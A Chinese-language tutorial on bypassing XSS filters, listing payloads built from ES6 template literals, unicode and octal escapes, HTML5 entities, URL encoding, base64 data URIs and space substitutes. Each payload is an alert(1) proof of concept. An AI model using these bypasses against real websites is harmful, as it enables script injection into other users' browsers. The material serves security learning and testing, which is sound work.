XSS不完全指南

XSS不完全指南(绕过篇)

笔者在刚接触XSS的时候觉得XSS很简单,不就是注入alert(1)嘛。直到最近从新开始研究XSS,才发现,XSS套路太深。因此希望通过文字总结经验,让自己有所收获。

1.ES6

ES6中更新了许多新特性,看图:
ES6新特性
根据这些特性,首先想到的是,注入JS代码可以不用',",直接使用

1
alert(`abc`)

再看图最下方的特性,允许前面调用标签,即函数。而传入的值则为模板字符串。那么注入代码简写为:

1
alert`abc`

同时,ES6中允许使用码点表示UNICODE字符。例:\u0001
那么,注入代码将如下:

1
\u0061\u006c\u0065\u0072\u0074`A`

2.HTML(5)实体编码

HTML5实体编码
比较常用的是< > = '
代码构造如下:

1
&lt;script&gt;alert`1`&lt;/script&gt;

在HTML5中,新增了一些新的实体编码名称。如:&colon; &NewLine;
则可构造:

1
<a href=javascript&colon;alert`abc` />
1
<a href=javas&NewLine;criptalert`abc` />

3.URL编码

URL编码
这个就是老生常谈了。随便举个栗子:

1
%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E//<script>alert(1)</script>

但是现在这种漏洞不容易触发,原因是因为许多网站后端都对双引号有解码过滤机制。

4.JS进制转换

JS中会自动对以\开头的部分格式字符进行转换。如\xnn(十六进制),\nnn(八进制),因此可构造如下:

1
2
document.write("\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76");
//<script>alert(1)</script>

5.利用data协议

关于HTML中的data协议,可以点击这里

总的来讲,data协议就是用文本流的方式,在HTML页面中插入文件。这里的文件形态即为MIME-TYPE
使用方式如下:

1
data:[<mime type>][;charset=<charset>][;base64],<encoded data>

可以看到,当中可指定base64选项,即采用base64进行解码。注入代码可构造为:

1
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>

6.空格的替代

在HTML中可以使用/代替空格,这也是老套路了。

1
<a/href=javascript:alert(1)>xss</a>

当然,除了/之外,还有%0A(换行符),%0C(换页符),%0D(回车符)。有兴趣自己尝试。

而在JS当中,则可以通过/**/空注释来代替空格

1
<a/href=javascript:function/**/ok(){alert(1)}/**/ok();>xss</a>

7.运算符的利用

1
document.write("xxxx {input} xxxx")

input构造:

1
'-alert(1)-'

最终变成:

1
document.write("xxxx"-alert(1)-"xxxx");

而在JS当中,运算中的子单元,如果是JS代码,会自动执行。因此成功弹窗。